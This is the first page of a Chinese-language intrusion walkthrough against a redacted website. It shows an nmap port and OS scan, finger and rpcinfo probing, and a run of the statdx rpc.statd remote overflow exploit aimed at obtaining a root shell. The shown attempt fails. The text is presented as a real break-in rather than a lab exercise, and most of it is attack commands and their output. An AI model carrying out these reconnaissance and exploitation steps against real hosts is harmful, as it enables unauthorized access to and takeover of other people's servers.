|
拿nmap扫描器,看看其中的奥妙~~~
|
bash-2.04$nmap -sT -O www.XXX.com Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ ) WARNING! The following files exist and are readable: /usr/local/sha -services and ./nmap-services. I am choosing /usr/local/share/nmap/ s for security reasons. set NMAPDIR=. to give priority to files in irectory Interesting ports on (www.XXX.com): (The 1520 ports scanned but not shown below are in state: closed) Port State Service 25/tcp open smtp 79/tcp open finger 80/tcp open http 111/tcp open sunrpc 113/tcp open auth 443/tcp open https 513/tcp open login 514/tcp open shell 515/tcp open printer 587/tcp open submission 1024/tcp open kdm TCP Sequence Prediction: Class=random positive increments Difficulty=3247917 (Good luck!) Remote operating system guess: Linux 2.1.122 - 2.2.16 Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds |
打开的端口还挺多,这意味着入侵的可能性增加。79/tcp open finger ,先看看这个,不过linux没有finger用户列表这个漏洞。
|
bash-2.04$finger @www.XXX.com
[www.XXX.com]
No one logged on. |
再看看111/tcp open sunrpc 。近来rpc漏洞风行,不知道RH7这个东东会不会有?先看看再说!
|
bash-2.04$rpcinfo -p www.XXX.com program vers proto port service 100000 2 tcp 111 rpcbind 100000 2 udp 111 rpcbind 100021 1 udp 1024 nlockmgr 100021 3 udp 1024 nlockmgr 100024 1 udp 1025 status 100024 1 tcp 1024 status |
看来有rpc.statd服务。来看看能不能远程溢出拿个rootshell。
bash-2.04$./statdx -h statdx by ron1n Usage: stat [-t] [-p port] [-a addr] [-l len] [-o offset] [-w num] [-s secs] [-d type] -t attack a tcp dispatcher [udp] -p rpc.statd serves requests on [query] -a the stack address of the buffer is -l the length of the buffer is [1024] -o the offset to return to is [600] -w the number of dwords to wipe is [9] -s set timeout in seconds to [5] -d use a hardcoded Available types: 0 redhat 6.2 (nfs-utils-0.1.6-2) 1 redhat 6.1 (knfsd-1.4.7-7) 2 redhat 6.0 (knfsd-1.2.2-4) |
看来并不支持RH7。还是继续尝试,把0-2全部试试看再说!start……
|
bash-2.04$stat -d 0 www.XXX.com buffer: 0xbffff314 length: 999 (+str/+nul) target: 0xbffff718 new: 0xbffff56c (offset: 600) wiping 9 dwords Failed - statd returned res_stat: (failure) state: 21 |
上一页 [1] [2] [3] 下一页 |